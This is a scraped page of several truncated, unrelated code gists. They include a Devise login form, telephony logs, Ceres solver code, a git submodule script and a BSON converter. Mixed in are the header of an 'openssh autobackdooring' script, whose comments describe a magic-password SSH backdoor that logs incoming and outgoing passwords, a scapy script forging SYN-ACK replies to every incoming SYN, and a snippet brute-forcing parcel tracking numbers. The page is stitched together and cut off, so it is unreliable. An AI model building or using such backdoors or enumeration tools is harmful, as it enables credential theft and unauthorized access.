Related Setup: https://gist.github.com/hofmannsven/6814278
Related Pro Tips: https://ochronus.com/git-tips-from-the-trenches/
<%= form_for(resource, :as => resource_name, :url => session_path(resource_name)) do |f| %> | |
<div><%= f.label :email %> | |
<%= f.email_field :email, :style => "margin-bottom: 15px" %></div> | |
<div><%= f.label :password %> | |
<%= f.password_field :password , :style => "margin-bottom: 15px" %></div> | |
<% if devise_mapping.rememberable? %> | |
<div><%= f.check_box :remember_me, :style => "float: left; margin-right: 10px" %> |
[2014-02-21 08:46:21.683] INFO CallQueue: CALLING {"call_ref"=>"123", "number"=>"074********"} | |
[2014-02-21 08:46:22.901] DEBUG Adhearsion::OutboundCall: @: Executing command #<Punchblock::Command::Dial target_call_id=nil, target_mixer_name=nil, component_id=nil, source_uri=nil, domain=nil, transport=nil, headers={}, to="SIP/billing/0741*******", from="OUTBOUND <123123123>", timeout=nil, join=nil> | |
[2014-02-21 08:46:24.015] INFO CallQueue: WAITING FOR SOME CALLS | |
[2014-02-21 08:46:24.691] DEBUG Adhearsion::OutboundCall: 82b2de71-26fe-4b10-bd8a-3825bd45c21c@: Receiving message: #<Punchblock::Event::Asterisk::AMI::Event target_call_id="82b2de71-26fe-4b10-bd8a-3825bd45c21c", target_mixer_name=nil, component_id=nil, source_uri=nil, domain=nil, transport=nil, name="VarSet", headers={"Privilege"=>"dialplan,all", "Channel"=>"SIP/billing-000011d6", "Variable"=>"punchblock_call_id", "Value"=>"82b2de71-26fe-4b10-bd8a-3825bd45c21c", "Uniqueid"=>"1392964869.62865"}> | |
[2014-02-21 08:46:24.695] DEBUG Adhearsion::OutboundCall |
struct QuaternionBasedAngularError { | |
QuaternionBasedAngularError(float x_hat, float y_hat) : observed_x(x_hat), observed_y(y_hat) { | |
ray_rotation[0] = y_hat*sin_half_theta; | |
ray_rotation[1] = -x_hat*sin_half_theta; | |
ray_rotation[2] = 0.0; | |
ray_rotation[3] = cos_half_theta; | |
} | |
static ceres::CostFunction* Create(const double observed_x, const double observed_y) { |
class ClickToCallController < Adhearsion::CallController | |
def run | |
answer | |
call.on_end { | |
logger.info "CALL HAS ENDED - THIS IS ON_END METHOD" | |
} | |
call.on_joined { |
#!/bin/sh | |
set -e | |
git config -f .gitmodules --get-regexp '^submodule\..*\.path$' | | |
while read path_key path | |
do | |
url_key=$(echo $path_key | sed 's/\.path/.url/') | |
url=$(git config -f .gitmodules --get "$url_key") | |
git submodule add $url $path |
Related Setup: https://gist.github.com/hofmannsven/6814278
Related Pro Tips: https://ochronus.com/git-tips-from-the-trenches/
#!/bin/bash | |
# ============================================ | |
# satyr's openssh autobackdooring doohicky v0.-1 | |
# [email protected] | |
# ============================================ | |
# USAGE: | |
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing). | |
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything | |
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc. | |
# [it'll install them via apt or yum, whichever is available]). |
#!/usr/local/bin/python2
from scapy.all import *
os.system("iptables -A OUTPUT -p tcp -o eth0 --sport 1:65535 --tcp-flags RST RST -j DROP")
def packet(pkt):
if pkt[TCP].flags == 2:
print('SYN packet detected port : ' + str(pkt[TCP].sport) + ' from IP Src : ' + pkt[IP].src)
send(IP(dst=pkt[IP].src, src=pkt[IP].dst)/TCP(dport=pkt[TCP].sport, sport=pkt[TCP].dport,ack=pkt[TCP].seq + 1, flags='SA'))
/* Converts the CDiscount data from BSON format to HDF5 files | |
* | |
* Author: Lloyd Hughes <[email protected]> | |
* | |
* To compile: gcc -o bson_to_hdf5 bson_to_hdf5.c -I/usr/include/libbson-1.0 -L/usr/lib64 -lbson-1.0 -lhdf5_hl -lhdf5 -lrt -lpthread -lz -ldl -lm -Wl | |
*/ | |
#include <stdio.h> | |
#include <bson.h> | |
#include <hdf5.h> | |
#include <pthread.h> |
require "net/http" | |
require 'parallel' | |
start = "54608206666?" | |
start = "54608??????4" | |
def make_tracking_num(i, start) | |
n = start.count("?") | |
missing = sprintf("%0#{n}d" % i).split('') | |
track = start.gsub '?', '%d' |